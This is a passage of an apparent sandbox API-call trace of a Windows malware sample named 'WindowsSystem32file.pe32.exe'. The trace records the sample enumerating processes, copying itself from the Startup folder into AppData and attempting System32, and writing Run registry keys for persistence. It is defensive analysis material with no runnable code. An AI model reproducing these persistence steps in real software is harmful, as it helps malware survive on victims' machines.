szExeFile="svchost.exe")) returned 1 [0173.362] lstrlenW (lpString="svchost.exe") returned 11 [0173.362] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.363] lstrlenW (lpString="svchost.exe") returned 11 [0173.363] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.363] lstrlenW (lpString="svchost.exe") returned 11 [0173.363] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.364] lstrlenW (lpString="svchost.exe") returned 11 [0173.364] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.364] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.364] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.365] lstrlenW (lpString="svchost.exe") returned 11 [0173.365] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.365] lstrlenW (lpString="audiodg.exe") returned 11 [0173.365] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0173.366] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0173.366] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0173.366] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0173.366] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0173.367] lstrlenW (lpString="Memory Compression") returned 18 [0173.367] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0173.367] lstrlenW (lpString="sihost.exe") returned 10 [0173.368] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.368] lstrlenW (lpString="svchost.exe") returned 11 [0173.368] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.369] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.369] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0173.369] lstrlenW (lpString="msoia.exe") returned 9 [0173.369] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.370] lstrlenW (lpString="explorer.exe") returned 12 [0173.370] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0173.370] lstrlenW (lpString="SearchUI.exe") returned 12 [0173.370] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0173.371] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0173.371] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0173.371] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0173.371] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0173.372] lstrlenW (lpString="mobsync.exe") returned 11 [0173.372] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.372] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.372] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0173.372] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0173.372] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0173.373] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0173.373] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 0 [0173.373] CloseHandle (hObject=0x240) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437a60 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437aa8 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4362a0 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4361a0 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436b90 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x462b40 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4361e0 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436220 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d790 | out: hHeap=0x420000) returned 1 [0173.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d8d0 | out: hHeap=0x420000) returned 1 [0173.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436240 | out: hHeap=0x420000) returned 1 [0173.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45da10 | out: hHeap=0x420000) returned 1 [0173.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x464b48 [0173.393] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x474b50 [0173.393] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462cc0 [0173.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462cc0, Size=0x20) returned 0x45d740 [0173.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d740, Size=0x40) returned 0x437868 [0173.393] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d970 [0173.393] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462c90 [0173.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c90, Size=0x20) returned 0x45d880 [0173.394] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.394] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45da38 [0173.394] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45da38, Size=0x40) returned 0x437550 [0173.394] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x474b50, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe")) returned 0x59 [0173.394] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x484b58 [0173.394] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x494b60 [0173.394] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d98 [0173.395] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d98, Size=0x20) returned 0x45d998 [0173.396] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d998, Size=0x40) returned 0x4378f8 [0173.396] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4378f8, Size=0x80) returned 0x4a59e8 [0173.396] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a59e8, Size=0x100) returned 0x463388 [0173.396] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463388 | out: hHeap=0x420000) returned 1 [0173.396] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\WindowsSystem32file.pe32.exe", lpDst=0x484b58, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 0x31 [0173.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x494b60 | out: hHeap=0x420000) returned 1 [0173.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b58 | out: hHeap=0x420000) returned 1 [0173.397] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x23ac020 [0173.412] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462cc0 [0173.412] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462cc0, Size=0x20) returned 0x45d7e0 [0173.412] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.412] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d740 [0173.412] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.412] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.412] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0173.412] lstrlenW (lpString="kernel32.dll") returned 12 [0173.412] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d7e0 | out: hHeap=0x420000) returned 1 [0173.413] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.413] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d740 | out: hHeap=0x420000) returned 1 [0173.413] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0173.413] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe" (normalized: "c:\\windows\\system32\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.414] CloseHandle (hObject=0x240) returned 1 [0173.414] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d50 [0173.414] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d50, Size=0x20) returned 0x45d998 [0173.414] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d20 [0173.414] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d20, Size=0x20) returned 0x45d790 [0173.414] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.414] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.414] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.414] lstrlenW (lpString="kernel32.dll") returned 12 [0173.414] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d790 | out: hHeap=0x420000) returned 1 [0173.414] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.414] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d998 | out: hHeap=0x420000) returned 1 [0173.415] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x23ac020 | out: hHeap=0x420000) returned 1 [0173.417] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x484b58 [0173.417] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x494b60 [0173.417] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d20 [0173.417] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d20, Size=0x20) returned 0x45d7e0 [0173.417] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d7e0, Size=0x40) returned 0x437598 [0173.417] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437598, Size=0x80) returned 0x4a4e38 [0173.417] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a4e38, Size=0x100) returned 0x463388 [0173.417] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463388 | out: hHeap=0x420000) returned 1 [0173.417] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\WindowsSystem32file.pe32.exe", lpDst=0x484b58, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\WindowsSystem32file.pe32.exe") returned 0x3d [0173.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x494b60 | out: hHeap=0x420000) returned 1 [0173.418] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b58 | out: hHeap=0x420000) returned 1 [0173.418] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x23ab020 [0173.421] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.421] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d998 [0173.421] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d20 [0173.421] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d20, Size=0x20) returned 0x45d9c0 [0173.421] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.421] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.421] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.421] lstrlenW (lpString="kernel32.dll") returned 12 [0173.421] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d998 | out: hHeap=0x420000) returned 1 [0173.421] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.421] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d9c0 | out: hHeap=0x420000) returned 1 [0173.421] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0173.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0173.424] ReadFile (in: hFile=0x240, lpBuffer=0x23ab020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ab020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0173.436] WriteFile (in: hFile=0x244, lpBuffer=0x23ab020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ab020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0173.439] ReadFile (in: hFile=0x240, lpBuffer=0x23ab020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ab020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0173.439] CloseHandle (hObject=0x244) returned 1 [0173.441] CloseHandle (hObject=0x240) returned 1 [0173.441] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462c30 [0173.441] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c30, Size=0x20) returned 0x45d998 [0173.441] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462b28 [0173.441] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462b28, Size=0x20) returned 0x45d790 [0173.441] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.442] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.442] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.442] lstrlenW (lpString="kernel32.dll") returned 12 [0173.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d790 | out: hHeap=0x420000) returned 1 [0173.442] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d998 | out: hHeap=0x420000) returned 1 [0173.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x23ab020 | out: hHeap=0x420000) returned 1 [0173.446] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462de0 [0173.446] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462de0, Size=0x20) returned 0x45d8d0 [0173.446] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d8d0, Size=0x40) returned 0x437598 [0173.446] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437598, Size=0x80) returned 0x4a58d8 [0173.446] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\WindowsSystem32file.pe32.exe") returned 60 [0173.446] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0173.446] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x5c) returned 0x463808 [0173.447] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0173.447] RegSetValueExW (hKey=0x240, lpValueName="WindowsSystem32file.pe32.exe", Reserved=0x0, dwType=0x1, lpData=0x464b48, cbData=0x78) returned 0x5 [0173.447] RegCloseKey (hKey=0x240) returned 0x0 [0173.447] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463808 | out: hHeap=0x420000) returned 1 [0173.447] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\WindowsSystem32file.pe32.exe") returned 60 [0173.447] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0173.447] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x5c) returned 0x463808 [0173.447] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0173.448] RegSetValueExW (in: hKey=0x244, lpValueName="WindowsSystem32file.pe32.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\WindowsSystem32file.pe32.exe", cbData=0x78 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\WindowsSystem32file.pe32.exe") returned 0x0 [0173.448] RegCloseKey (hKey=0x244) returned 0x0 [0173.448] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463808 | out: hHeap=0x420000) returned 1 [0173.448] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0173.448] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a58d8 | out: hHeap=0x420000) returned 1 [0173.448] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x484b58 [0173.449] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x494b60 [0173.449] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462b28 [0173.449] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462b28, Size=0x20) returned 0x45d9e8 [0173.449] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d9e8, Size=0x40) returned 0x4378b0 [0173.449] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4378b0, Size=0x80) returned 0x4a4db0 [0173.449] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a4db0, Size=0x100) returned 0x463388 [0173.449] lstrlenW (lpString="") returned 0 [0173.449] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.449] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8c) returned 0x463490 [0173.449] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0173.449] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x494b60, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x494b60*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0173.449] RegCloseKey (hKey=0x244) returned 0x0 [0173.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463490 | out: hHeap=0x420000) returned 1 [0173.449] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.449] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8c) returned 0x463490 [0173.449] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0173.449] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x494b60, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0173.449] RegCloseKey (hKey=0x244) returned 0x0 [0173.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463490 | out: hHeap=0x420000) returned 1 [0173.449] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0173.449] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463388 | out: hHeap=0x420000) returned 1 [0173.449] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start 